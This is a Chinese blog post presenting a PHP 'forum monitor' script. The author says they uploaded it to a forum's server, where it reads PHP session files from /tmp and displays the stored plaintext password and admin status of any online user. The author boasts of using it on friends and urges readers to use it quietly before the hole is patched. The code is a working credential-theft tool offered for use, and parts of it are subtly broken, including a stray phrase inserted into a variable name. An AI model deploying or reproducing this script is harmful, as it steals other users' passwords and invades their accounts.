一個查看session內容的函數

之所以是能寫出來這個函數,主要是對該網站的session結構清楚,如:name|s:4:”tasm”;passwd|s:6:”111111″;mode|s:1:”1″,也知道該session存放的位置,而且可以上傳文件,所以嘛,當時就做瞭一次小小的黑客,在線的朋友的密碼可以一覽無餘,呵呵:
<?
function submit1(){
global $username;
print “<title>論壇監聽器</title>”;
$i=0;
if($username==”tasm”||$username==”Tasm”)
{
print “你也太黑瞭吧?連我你也查?”;
  return;
}
$path=”/tmp/”;
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)==”sess”){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(“;”,$ary[0]);
$name= explode(“:”,$ary[0]);
if($name[2]==”””.$username.”””){
$passwd= explode(“:”,$ary[1]);
$mode=explode(“:”,$ary[3]);
print “用戶筆名:”.$name[2].”<br>使用密碼:”.$passwd[2].”<br>使用模式:”;
if($mode[1]==1)
print “<font color=red>管理員</font>”;
else
print “一般用戶”;
print”<br><br>偷竊他人密碼是不道德行為請少少為之<br>”;
$i=1;
break;
}}}}
if(!$i)
print “用戶:”.$username.”真的在線嗎?如你確定,<a href=javascript:history.go(-1)>請再來一次</a>,不要多打空格!”;
$d->close();
}

function login(){
?>
<html>
<head>
<title>論壇監聽器</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
</head>
<body bgcolor=”#FFFFFF”>
<p align=”center”>
<p>論壇監聽器 </p>
<p> </p>
<table width=”500″ border=”0″ cellspacing=”0″ cellpadding=”0″>
<tr>
<td colspan=”2″>當你看到一用戶在線時你想看他的密碼,你要如何作呢?</td>
</tr>
<tr>
<td colspan=”2″>讓我來告訴你:就是使用本程序。</td>
</tr>
<tr>
<td colspan=”2″><font color=red>鄭重申明:本程序為自由程序,由它所造成的任何損失本人蓋不負責。</font>
<br>不過這個問題也許很快就會被堵上,個位還是不要張揚的偷著用吧。</td>
</tr>
</table>
<form name=”form1″ method=”post” action=”<?print $php(做為現在的主流開發語言)_SELF ?>” >
<p>請輸入你要查的用戶名:<br>
<input type=”text” name=”username”>
</p>
<p>
<input type=”submit” name=”submit1″ value=”我同意以上申明,開始查找”>
</p>
</form>
<p> </p>
</p>
</body>
</html>
<?
}
//————–main()
if($submit1)
submit1();
else
login();
?>

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。